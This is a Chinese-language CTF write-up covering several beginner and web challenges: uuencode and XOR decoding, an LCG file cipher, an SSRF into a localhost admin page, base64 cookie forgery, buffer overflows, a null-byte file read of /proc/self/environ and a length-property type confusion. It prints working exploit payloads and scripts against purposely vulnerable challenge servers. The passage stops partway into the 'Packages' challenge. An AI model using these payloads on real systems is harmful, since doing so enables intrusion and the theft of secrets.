Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

Beginner

这场比赛比较照顾新手所以专门设置了Beginner的部分。

1985

image-20251109205102736

1
2
3
4
5
6
7
Hey man, I wrote you that flag printer you asked for:

begin 755 FLGPRNTR.COM
MOAP!@#PD=`:`-"I&Z_6Z'`&T"<TAP[1,,,#-(4A)7DQ1;AM.=5,:7W5_61EU
;:T1U&4=?1AY>&EAU95AU3AE)&D=:&T9O6%<D
`
end

首先通过begin 755 FLGPRNTR.COM ... end判断出这段内容是uuencode过的二进制内容。反引号在uuencode里代表这一行的长度是 0,所以代码里把它单独当成空块处理,拼起来就得到真正的FLGPRNTR.COM的字节序列。

还原出来的是一个.COM 小程序:

1
2
3
4
5
6
7
8
9
10
11
; SI = 001Ch 指向密文
; 循环:遇到 '$' 停,其他字节就地异或 2Ah
loop: lodsb
cmp al, '$'
je done
xor al, 2Ah
stosb
jmp loop
done: mov dx, 001Ch ; 解码后的明文起始
mov ah, 09h
int 21h ; 打印直到 '$'

用python模拟一下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import binascii
from io import StringIO

uu_text = """begin 755 FLGPRNTR.COM
MOAP!@#PD=`:`-"I&Z_6Z'`&T"<TAP[1,,,#-(4A)7DQ1;AM.=5,:7W5_61EU
;:T1U&4=?1AY>&EAU95AU3AE)&D=:&T9O6%<D
`
end
"""

# --- uu 解码成 .COM 的原始字节 ---
data_lines = []
capture = False
for line in StringIO(uu_text):
line = line.rstrip("\n")
if line.startswith("begin "):
capture = True
continue
if line == "end":
break
if not capture:
continue
if not line:
continue
# 反引号(`)表示空行长度 0,也算一行数据
try:
chunk = binascii.a2b_uu(line)
except binascii.Error as e:
# 有些实现把完全空负载行写成 "`",也能正常解码为 b""
if line.strip() == "`":
chunk = b""
else:
raise
data_lines.append(chunk)

com_bytes = b"".join(data_lines)

# --- 模拟程序逻辑:从 0x1C 起,遇到 '$' 停止,其余字节 XOR 0x2A ---
start = 0x1C
out = []
i = start
while i < len(com_bytes):
b = com_bytes[i]
if b == 0x24: # '$'
break
out.append(b ^ 0x2A)
i += 1

flag = bytes(out).decode("ascii", errors="replace")
print(flag)

# bctf{D1d_y0u_Us3_An_3mul4t0r_Or_d3c0mp1lEr}

Augury

image-20251109205938767

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import hashlib

stored_data = {}

def generate_keystream(i):
return (i * 3404970675 + 3553295105) % (2 ** 32)

def upload_file():
print("Choose a name for your file")
name = input()
if name in stored_data:
print("There is already a file with that name")
return
print("Remember that your privacy is our top priority and all stored files are encrypted.")
print("Choose a password")
password = input()
m = hashlib.shake_128()
m.update(password.encode())
keystream = int.from_bytes(m.digest(4), byteorder="big")
print("Now upload the contents of your file in hexadecimal")
contents = input()
b = bytearray(bytes.fromhex(contents))
for i in range(0, len(b), 4):
key = keystream.to_bytes(4, byteorder="big")
b[i + 0] ^= key[0]
if i + 1 >= len(b):
continue
b[i + 1] ^= key[1]
if i + 2 >= len(b):
continue
b[i + 2] ^= key[2]
if i + 3 >= len(b):
continue
b[i + 3] ^= key[3]
keystream = generate_keystream(keystream)
stored_data[name] = b
print("Your file has been uploaded and encrypted")


def view_files():
print("Available files:")
for i in stored_data.keys():
print(i)
print("Choose a file to get")
name = input()
if name not in stored_data:
print("That file is not available")
return
print(stored_data[name].hex())

def main():
print("Welcome to Augury")
print("The best place for secure storage!")
while True:
print("Please select an option:")
print("1. Upload File")
print("2. View Files")
print("3. Exit")
choice = input()
match choice:
case "1":
upload_file()
case "2":
view_files()
case "3":
exit()

main()

仔细阅读代码可以发现它是这样加密文件的:

  1. 将输入的密码作为seed生成一个随机数,然后只取其前4个字节;
  2. 将这4个字节与文件的前4个字节进行异或;
  3. 利用LCG(线性同余方法)更新这4个字节(生成新的4字节);
  4. 然后与文件的后续的4个字节进行异或;
  5. 以此类推…

也就是说只要我们知晓seed,那么我们就可以正常还原文件内容。

但实际上这里有个漏洞,即我们只要能知道第一次生成的随机数的前4个字节(不一定需要知道具体的seed),我们便能还原后续的密码流并且还原加密文件。

连接服务器可以看到里面已经有一份已经被加密过的.png文件:

image-20251109210057868

众所周知,完整的.png文件的开头一定是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pathlib import Path

A = 3404970675
C = 3553295105
MOD = 2 ** 32
PNG8 = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])

def lcg(x: int) -> int:
return (x * A + C) % MOD


in_path = Path("secret.txt") # 从服务器上保存下来的加密后的png文件的hex
out_path = Path("decrypted.png") # 还原出来的png图片

data_hex = "".join(in_path.read_text().split())

ct = bytearray(bytes.fromhex(data_hex))

ks0_bytes = bytes([ct[0] ^ PNG8[0], ct[1] ^ PNG8[1], ct[2] ^ PNG8[2], ct[3] ^ PNG8[3]])
ks = int.from_bytes(ks0_bytes, "big")

n = len(ct)
for i in range(0, n, 4):
key = ks.to_bytes(4, "big")
ct[i] ^= key[0]
if i + 1 < n:
ct[i + 1] ^= key[1]
if i + 2 < n:
ct[i + 2] ^= key[2]
if i + 3 < n:
ct[i + 3] ^= key[3]
ks = lcg(ks)

pt = bytes(ct)
out_path.write_bytes(pt)

最后便能得到:

image-20251109210722230

(我也不知道图片里的是谁。)

Cosmonaut

image-20251109140815102

1
2
3
Cosmonauts run their programs everywhere and all at once.
Like on Windows!
c05m0p0l174n_c0nn353ur_

image-20251109140828982

Linux上:

image-20251109140854387

1
2
3
Cosmonauts run their programs everywhere and all at once.
Like on Linux!
bctf{4_7ru3_

FreeBSD上:

image-20251109144610168

1
2
3
Cosmonauts run their programs everywhere and all at once.
Like on FreeBSD!
kn0w5_n0_b0und5}

成功拿到完整flag:

1
bctf{4_7ru3_c05m0p0l174n_c0nn353ur_kn0w5_n0_b0und5}

ebg13

image-20251109210824192

通过观察这道题的名字以及这段加密内容不难知道这道题跟rot13有关。

image-20251109211011999

看一眼网页:

image-20251109211029594

网页的主要逻辑在给的server.js文件里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import Fastify from 'fastify';
import * as cheerio from 'cheerio';

const FLAG = process.env.FLAG ?? "bctf{fake_flag}";

const INDEX_HTML = `
<!doctype html>
<html lang="en">

<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>ebj13</title>
<link rel="stylesheet" href="https://unpkg.com/98.css" />
<style>
body {
background: #008080;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
margin: 0;
}

.window {
zoom: 1.5;
width: 460px;
}

.window-body {
text-align: center;
}

form {
display: flex;
justify-content: center;
gap: 8px;
flex-wrap: wrap;
margin-top: 10px;
}

input[type="text"] {
width: 300px;
}

.example-buttons {
display: flex;
justify-content: center;
gap: 8px;
margin-top: 12px;
}
</style>
</head>

<body>
<div class="window" role="application">
<div class="title-bar">
<div class="title-bar-text">ebj13</div>
<div class="title-bar-controls">
<button aria-label="Minimize"></button>
<button aria-label="Maximize"></button>
<button aria-label="Close"></button>
</div>
</div>
<div class="window-body">
<p><strong>Enter URL</strong></p>

<form action="/ebj13" method="get">
<input type="text" name="url" placeholder="Enter a URL" id="urlInput" />
<button type="submit" class="button">ebj13 it!</button>
</form>

<div class="example-buttons">
<button class="button" type="button" onclick="urlInput.value = 'https://example.com'">example.com</button>
<button class="button" type="button"
onclick="urlInput.value = 'https://news.ycombinator.com'">news.ycombinator.com</button>
</div>

<p style="margin-top:10px;font-size:12px;">Paste a full URL (including https://)</p>
</div>
</div>
</body>

</html>
`;

const fastify = Fastify({ logger: true });

function rot13(str) {
return str.replace(/[a-zA-Z]/g, (c) =>
String.fromCharCode(
c.charCodeAt(0) + (c.toLowerCase() < 'n' ? 13 : -13)
)
);
}

function rot13TextNodes($, node) {
$(node)
.contents()
.each((_, el) => {
if (el.type === 'text') {
el.data = rot13(el.data);
} else {
rot13TextNodes($, el);
}
});
}

fastify.get('/', async (req, reply) => {
return reply.type('text/html').send(INDEX_HTML);
});

fastify.get('/ebj13', async (req, reply) => {
const { url } = req.query;

if (!url) {
return reply.status(400).send('Missing ?url parameter');
}

try {
const res = await fetch(url);
const html = await res.text();

const $ = cheerio.load(html);
rot13TextNodes($, $.root());

const modifiedHtml = $.html();

reply.type('text/html').send(modifiedHtml);
} catch (err) {
reply.status(500).send(`Error fetching URL`);
}
});

fastify.get('/admin', async (req, reply) => {
if (req.ip === "127.0.0.1" || req.ip === "::1" || req.ip === "::ffff:127.0.0.1") {
return reply.type('text/html').send(`Hello self! The flag is ${FLAG}.`)
}

return reply.type('text/html').send(`Hello ${req.ip}, I won't give you the flag!`)
})

fastify.listen({ port: 3000, host: '0.0.0.0' }, (err, address) => {
if (err) throw err;
console.log(`Server running at ${address}`);
});

可以看到最后那里,只要输入符合要求的本地回环网址便可以得到flag。

所以说直接输入

1
http://127.0.0.1:3000/admin

便可以拿到加密后的flag:

1
Uryyb frys! Gur synt vf opgs{jung_unccraf_vs_v_hfr_guvf_jrofvgr_ba_vgfrys}.

解密一下便是:

image-20251109211430206

1
Hello self! The flag is bctf{what_happens_if_i_use_this_website_on_itself}.

或者输入

1
https://ebg13.challs.pwnoh.io/ebj13?url=http://127.0.0.1:3000/admin

可以直接在网站上拿到解密后的内容:

1
Hello self! The flag is bctf{what_happens_if_i_use_this_website_on_itself}.

hexv

image-20251109212759863

由于没有给任何附件,所以先连上看看:

image-20251109214420637

我们可以看到print_flag的地址以及stack上当前的内容。所以思路大概率就是尝试将返回地址修改成print_flag的地址。

经过多次尝试发现红色的部分是stack canary,而青色的部分是返回地址。所以我们只需要输入(注意保持stack canary的部分不变)

1
str 41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414100e1e1c6d8edca3d0000000000000000e932e03913560000

再输入quit便可以拿到flag

image-20251109214453598

1
bctf{sur3_h0Pe_th1S_r3nderED_PR0pErly}

Mind Boggle

image-20251109214909910

1
-[----->+<]>++.++++.---.[->++++++<]>.[---->+++<]>+.-[--->++++<]>+.>-[----->+<]>.---.+++++.++++++++++++.-----------.[->++++++<]>+.--------------.---.-.---.++++++.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>..--.-[--->++++<]>+.>-[----->+<]>.---.++++++.+..++++++++++.------------.+++.-----.-.+++++..----.---.++++++.-..++.--.+.-.--.+++.---..--.++.++++++.----..+.---.+++.+++++++++++.-------------.++.+..-.----.++...-[--->++++<]>+.-[------>+<]>...--..+++.-.++.----.++.-.+++.-----.---.+++++.+.+.--..++++.------..+.+++++++++++++.>-[----->+<]>.++...-.++++.---.----.++++++.+.----.-[--->++++<]>.[---->+++<]>+.+.--.++.--.++++++.

不难发现这是brainfuck,所以随便找个在线编译的网站即可:

image-20251109215006725

得到

1
596D4E305A6E7430636A467762444E664E30677A583277306557565363313955636A467762444E66644768465830567559334A35554851784D453539

再解码一下即可:

image-20251109215150515

1
bctf{tr1pl3_7H3_l4yeRs_Tr1pl3_thE_EncryPt10N}

Ramesses

image-20251109215309089

main文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, make_response, redirect, url_for
import base64
import json
import os

flag = os.getenv("FLAG", "bctf{fake_flag}")

app = Flask(__name__)


@app.route("/", methods=["GET", "POST"])
def home():
if request.method == "POST":
name = request.form.get("name", "")
cookie_data = {"name": name, "is_pharaoh": False}
encoded = base64.b64encode(json.dumps(cookie_data).encode()).decode()

response = make_response(redirect(url_for("tomb")))
response.set_cookie("session", encoded)
return response

return render_template("index.html")


@app.route("/tomb")
def tomb():
session_cookie = request.cookies.get("session")
if not session_cookie:
return redirect(url_for("home"))
try:
user = json.loads(base64.b64decode(session_cookie).decode())
except Exception:
return redirect(url_for("home"))
return render_template("tomb.html", user=user, flag=flag)


@app.route("/logout")
def logout():
response = make_response(redirect(url_for("home")))
response.set_cookie("session", "", expires=0)
return response


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

随便注册个账号先登录进去:

image-20251109220158832

可以看到有个session cookie。

解码一下:

image-20251109220231095

将is_pharaoh的false改成true,任何将原本的cookie修改成新的这个:

image-20251109220314116

再刷新网页便可以直接看到flag:
image-20251109220440058

1
bctf{s0_17_w45_wr177en_50_1t_w45_d0n3}

The Professor’s Files

image-20251109220646925

这道题会拿到一份docx文件:

image-20251109220738587

没有什么特殊的内容。

想到docx文件本身就算zip的格式,所以我们将文件结尾修改成zip文件并解压它,之后便能在里面的theme1.xml里找到flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:theme xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" name="ProfessorTheme_Loud">
<a:themeElements>
<a:clrScheme name="CustomLoud">
<a:dk1><a:srgbClr val="1F1F1F"/></a:dk1>
<a:lt1><a:srgbClr val="FFFFFF"/></a:lt1>
<a:dk2><a:srgbClr val="2B2B2B"/></a:dk2>
<a:lt2><a:srgbClr val="F4F4F4"/></a:lt2>

<a:accent1><a:srgbClr val="FF4500"/></a:accent1> <!-- vivid orange -->
<a:accent2><a:srgbClr val="0066CC"/></a:accent2> <!-- strong blue -->
<a:accent3><a:srgbClr val="8A2BE2"/></a:accent3> <!-- bright purple -->
<a:accent4><a:srgbClr val="228B22"/></a:accent4> <!-- strong green -->
<a:accent5><a:srgbClr val="FFD700"/></a:accent5> <!-- gold -->
<a:accent6><a:srgbClr val="DC143C"/></a:accent6> <!-- crimson -->
<!-- bctf{docx_is_zip} -->

<a:hlink><a:srgbClr val="0000FF"/></a:hlink>
<a:folHlink><a:srgbClr val="800080"/></a:folHlink>
</a:clrScheme>

<a:fmtScheme name="CustomFmt">

<a:fillStyleLst>
<a:solidFill><a:srgbClr val="FFFFFF"/></a:solidFill>
</a:fillStyleLst>
<a:lnStyleLst/>
<a:effectStyleLst/>
</a:fmtScheme>
</a:themeElements>

<a:objectDefaults/>
<a:extraClrSchemeLst/>
</a:theme>
1
bctf{docx_is_zip}

Viewer

image-20251109221006180

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef enum {
INVALID,
FIBONACCI,
ART,
FLAG,
RANDOM
} viewee_t;

void handle_viewee(viewee_t viewee) {
int a, b, c;
int i;
FILE *file;
char flag_char;
switch (viewee) {
case INVALID:
printf("Error: Unauthorized or invalid input\n");
break;
case FIBONACCI:
a = 0;
b = 1;
for (i = 0; i < 10; i++) {
c = a + b;
a = b;
b = c;
printf("%i: %i\n", i, a);
}
break;
case ART:
printf(" ||/\\\n"
" || \\\n"
" | \\\n"
" /______\\\n"
"/| |\\\n"
" | || |\n"
" |__||__|\n");
break;
case FLAG:
file = fopen("flag.txt", "r");
while (fread(&flag_char, sizeof(flag_char), 1, file)
== sizeof(flag_char)) {
putchar(flag_char);
}
putchar('\n');
fclose(file);
break;
case RANDOM:
printf("Rand: %i\n", rand());
break;
}
}

int main() {
viewee_t viewee = INVALID;
char input[10];
bool is_admin = false;

setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

printf("What would you like to view?\n> ");
gets(input);

if (strcmp(input, "fibonacci") == 0) {
viewee = FIBONACCI;
} else if (strcmp(input, "art") == 0) {
viewee = ART;
} else if (strcmp(input, "flag") == 0 && is_admin) {
viewee = FLAG;
} else if (strcmp(input, "random") == 0) {
viewee = RANDOM;
}

handle_viewee(viewee);

return 0;
}

不难发现buffer overflow的漏洞:

1
2
3
char input[10];

gets(input);

所以我们直接越界写入将admin修改成1即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'info'

r = remote("viewer.challs.pwnoh.io", 1337, ssl=True)


offset = 10
payload = b"flag\x00" + b"A"*(offset - len("flag")) + b"\x01"

r.sendlineafter(b"> ", payload)
print(r.recvall())

# bctf{I_C4nt_Enum3rAte_7hE_vuLn3r4biliTI3s}

Web

Awklet

image-20251109223811075

首先注意到网站会把我们输入的font_name.txt 直接拼接。并且自带的 urldecode() 会把 %00 还原到实际字节流。所以在底层文件打开(getline < filenamefopen())时,路径里的 \x00 被视为字符串终止,从而把后缀 .txt 截掉。

也就是说我们可以读取任意文件,比如说传 font=/etc/passwd%00 实际打开的是 /etc/passwd
并且由于读到的文件会被当作“字体”,按照 7 行 = 1 块 缓存在数组里;请求参数 name 的字符编码(从 ASCII 32 起)选择第几块输出。所以我们可以稳定地按块泄露任意文件内容。

最简单的方法:

1
2
3
4
5
6
7
8
9
└─$ curl -s 'https://awklet.challs.pwnoh.io/cgi-bin/awklet.awk?font=/proc/self/environ%00&name=%20' \
| tr '\0' '\n' | grep -aoE 'bctf\{[^}]*\}'
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}
bctf{n3xt_t1m3_1m_wr171ng_1t_1n_53d}

访问这个 URL 时,发生的是这几步——

1. Apache 作为 CGI 启动 awk 脚本
相当于执行了(由 Apache 发起,不是你能下命令):

1
/bin/awk -f /usr/lib/cgi-bin/awklet.awk

并给它一堆环境变量,其中最关键的是:

1
QUERY_STRING="font=/proc/self/environ%00&name=%20"

2. awk 脚本解析参数并做 NUL 截断
脚本把 %00 还原成真实的 \x00,于是:

1
2
font_name = "/proc/self/environ\0"
filename = font_name ".txt" # 逻辑上是 "/proc/self/environ\0.txt"

底层 getline < filename 调用文件打开函数时,\0截断后面的 .txt,于是实际打开的是:

1
/proc/self/environ

3. awk 用 getline 读文件,不是跑外部命令
核心相当于(伪代码):

1
2
3
while ((getline line < "/proc/self/environ") > 0) {
font[char, row] = line # 每 7 行算一“块”
}

然后根据 name=%20(空格,ASCII 32,对应第 1 块)把前 7 行打印出来,并带上 CGI 头:

1
2
3
4
5
Status: 200 OK
Content-type: text/plain

Here's your /proc/self/environ ascii art:
<……7 行内容……>

如果用“系统调用”视角来比喻,大概就是:

1
2
3
4
execve("/bin/awk", ["/bin/awk","-f","/usr/lib/cgi-bin/awklet.awk"], ENV)
open("/proc/self/environ", O_RDONLY)
read(...)
write(1, "Status: 200 OK\r\nContent-type: text/plain\r\n\r\n...", ...)

所以,这个 URL 的效果等价于让 CGI 进程自己打开并读取 /proc/self/environ,并把其中前 7 行通过 HTTP 响应回显出来——没有额外的外部命令被执行。

BIG CHUNGUS

image-20251109224741237

image-20251109225129746

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
import express from "express";

const app = express();

app.get("/", (req, res) => {
if (!req.query.username) {
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>NO CHUNGUS</title>
<style>
body {
font-family: Comic Sans MS;
background: linear-gradient(45deg, #ff0000, #00ff00, #0000ff);
animation: rainbow 2s infinite;
text-align: center;
padding: 50px;
}
@keyframes rainbow {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}
h1 { font-size: 100px; color: white; text-shadow: 5px 5px black; }
img { width: 300px; border: 10px solid yellow; animation: spin 1s infinite; }
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.marquee {
font-size: 50px;
color: lime;
animation: marquee 3s linear infinite;
}
</style>
</head>
<body>
<h1>NO CHUNGUS DETECTED</h1>
<div class="marquee">⚠️ WARNING: NO CHUNGUS FOUND ⚠️</div>
<img src="https://i.imgflip.com/aaxz3e.jpg" alt="NO CHUNGUS" onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Ctext x=%220%22 y=%2215%22 font-size=%2220%22%3ENO CHUNGUS%3C/text%3E%3C/svg%3E'">
<p style="font-size: 30px; color: red;">😢 WHERE IS CHUNGUS? 😢</p>
<form method="GET">
<input type="text" name="username" placeholder="Enter username..." style="font-size: 20px; padding: 10px;">
<button type="submit" style="font-size: 20px; padding: 10px;">CHECK CHUNGUS</button>
</form>
</body>
</html>
`);
return;
}

if (req.query.username.length > 0xB16_C4A6A5) {
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>BIG CHUNGUS!!!</title>
<style>
body {
font-family: Impact, Arial Black;
background: repeating-linear-gradient(45deg, #ff0000, #ff0000 10px, #ffff00 10px, #ffff00 20px);
text-align: center;
padding: 20px;
animation: shake 0.5s infinite;
}
@keyframes shake {
0%, 100% { transform: translate(0, 0); }
25% { transform: translate(-10px, 10px); }
75% { transform: translate(10px, -10px); }
}
h1 {
font-size: 150px;
color: #ff00ff;
text-shadow: 10px 10px 0px #00ffff, 20px 20px 0px #ffff00;
animation: pulse 0.3s infinite;
}
@keyframes pulse {
0%, 100% { transform: scale(1); }
50% { transform: scale(1.1); }
}
img {
width: 500px;
border: 20px dashed lime;
animation: zoom 0.5s infinite alternate;
}
@keyframes zoom {
from { transform: scale(1); }
to { transform: scale(1.2); }
}
.username { font-size: 40px; color: white; background: black; padding: 10px; }
.blink { animation: blink 0.5s infinite; }
@keyframes blink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
</style>
</head>
<body>
<h1>BIG CHUNGUS!!!</h1>
<div class="username blink">Welcome, ${req.query.username}!</div>
<img src="https://purepng.com/public/uploads/large/big-chungus-jkg.png" alt="BIG CHUNGUS" onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Ctext x=%220%22 y=%2215%22 font-size=%2220%22%3EBIG CHUNGUS%3C/text%3E%3C/svg%3E'">
<p style="font-size: 50px; color: white; background: red; padding: 20px;">🎉 YOU FOUND THE BIGGEST CHUNGUS! 🎉</p>
<p style="font-size: 30px; color: lime;">FLAG: ${
process.env.FLAG || "FLAG_NOT_SET"
}</p>
<marquee style="font-size: 60px; color: yellow;">BIG CHUNGUS IS HERE BIG CHUNGUS IS HERE BIG CHUNGUS IS HERE</marquee>
<form method="GET">
<input type="text" name="username" placeholder="Enter username..." style="font-size: 20px; padding: 10px;">
<button type="submit" style="font-size: 20px; padding: 10px;">CHECK CHUNGUS</button>
</form>
</body>
</html>
`);
return;
}

res.send(`
<!DOCTYPE html>
<html>
<head>
<title>little chungus - so very sad</title>
<style>
body {
font-family: 'Times New Roman', serif;
background: linear-gradient(to bottom, #1a1a2e, #16213e, #0f3460);
text-align: center;
padding: 30px;
color: #e0e0e0;
position: relative;
overflow: hidden;
min-height: 100vh;
}
.rain {
position: absolute;
width: 100%;
height: 100%;
top: 0;
left: 0;
pointer-events: none;
z-index: 0;
}
.drop {
position: absolute;
width: 2px;
height: 50px;
background: rgba(150, 200, 255, 0.5);
animation: fall linear infinite;
animation-duration: var(--duration);
animation-delay: var(--delay);
left: var(--left);
top: -50px;
}
@keyframes fall {
to {
top: 100vh;
opacity: 0;
}
}
.content {
position: relative;
z-index: 1;
}
h1 {
font-size: 80px;
color: #a0a0a0;
text-shadow: 3px 3px 10px rgba(0,0,0,0.8);
animation: fadeInOut 3s ease-in-out infinite;
margin: 20px 0;
}
@keyframes fadeInOut {
0%, 100% { opacity: 0.5; }
50% { opacity: 1; }
}
h2 {
font-size: 40px;
color: #888;
margin: 30px 0;
font-style: italic;
}
.username {
font-size: 28px;
color: #bbb;
margin: 30px 0;
padding: 15px;
background: rgba(0,0,0,0.3);
border-left: 5px solid #555;
}
img {
width: 250px;
border: 5px solid #555;
opacity: 0.7;
filter: grayscale(70%);
animation: shrink 2s ease-in-out infinite;
margin: 20px 0;
}
@keyframes shrink {
0%, 100% { transform: scale(1); }
50% { transform: scale(0.95); }
}
.sad-message {
font-size: 24px;
color: #999;
margin: 30px 20px;
line-height: 1.8;
font-style: italic;
}
.tears {
font-size: 60px;
animation: cry 1s ease-in-out infinite;
margin: 20px 0;
}
@keyframes cry {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(10px); }
}
form {
margin-top: 40px;
padding: 20px;
background: rgba(0,0,0,0.4);
border-radius: 10px;
display: inline-block;
}
input, button {
font-size: 18px;
padding: 10px;
background: #2a2a3e;
color: #ddd;
border: 1px solid #555;
}
</style>
</head>
<body>
<div class="rain" id="rain"></div>
<div class="content">
<div class="tears">😢 💧 😭</div>
<h1>little chungus</h1>
<h2>so very, very little...</h2>
<div class="username">Welcome, ${req.query.username}...</div>
<img src="https://images.steamusercontent.com/ugc/943958709953537755/556C9BC26D0E7261242A75A13AF865DA892DFEBC/?imw=5000&imh=5000&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=false" alt="little chungus" onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22%3E%3Ctext x=%220%22 y=%2215%22 font-size=%2220%22%3Elittle chungus%3C/text%3E%3C/svg%3E'">
<div class="sad-message">
<p>😢 It is truly a tragedy... The chungus is so very, very little...</p>
<p>💔 Why must the chungus suffer so? Why must it be so small?</p>
<p>🌧️ The universe weeps for this tiny chungus...</p>
<p>😞 One day, perhaps, the chungus will grow... but today is not that day...</p>
<p>💧 We can only hope... and dream... of a BIGGER chungus...</p>
</div>
<form method="GET">
<input type="text" name="username" placeholder="Try again... maybe...">
<button type="submit">Search for Hope</button>
</form>
</div>
<script>
const rain = document.getElementById('rain');
for (let i = 0; i < 50; i++) {
const drop = document.createElement('div');
drop.className = 'drop';
drop.style.setProperty('--left', Math.random() * 100 + '%');
drop.style.setProperty('--duration', (Math.random() * 2 + 1) + 's');
drop.style.setProperty('--delay', Math.random() * 2 + 's');
rain.appendChild(drop);
}
</script>
</body>
</html>
`);
});

app.listen(3000, () => {
console.log("Server running on port 3000");
});

注意到这里的判断条件:

1
if (req.query.username.length > 0xB16_C4A6A5)

0xB16_C4A6A5 对应的十进制数是47626626725。我们只需要让我们输入的名字的长度大于这个数即可。但直接输入那么长的名字肯定不现实,所以我们可以直接给设置一个length属性。所以我们直接访问:

1
https://big-chungus.challs.pwnoh.io/?username[length]=47626626726

即可看到flag:

image-20251109225209467

image-20251109225224001

1
bctf{b16_chun6u5_w45_n3v3r_7h15_b16}

成功后的这个页面它还一直在晃,我说实话这真的有点精神污染了…

Packages

image-20251109225429124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import sqlite3
import json
from flask import Flask, request, render_template_string

app = Flask(__name__)


db = sqlite3.connect("packages.db", check_same_thread=False)
db.enable_load_extension(True)
db.row_factory = sqlite3.Row

TEMPLATE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Package Search</title>
<style>
body { font-family: sans-serif; max-width: 800px; margin: 2rem auto; }
form { margin-bottom: 1rem; }
table { border-collapse: collapse; width: 100%; }
th, td { border: 1px solid #ccc; padding: 0.5rem; text-align: left; }
th { background: #f4f4f4; }
</style>
</head>
<body>
<h1>Package Search</h1>
<form method="get">
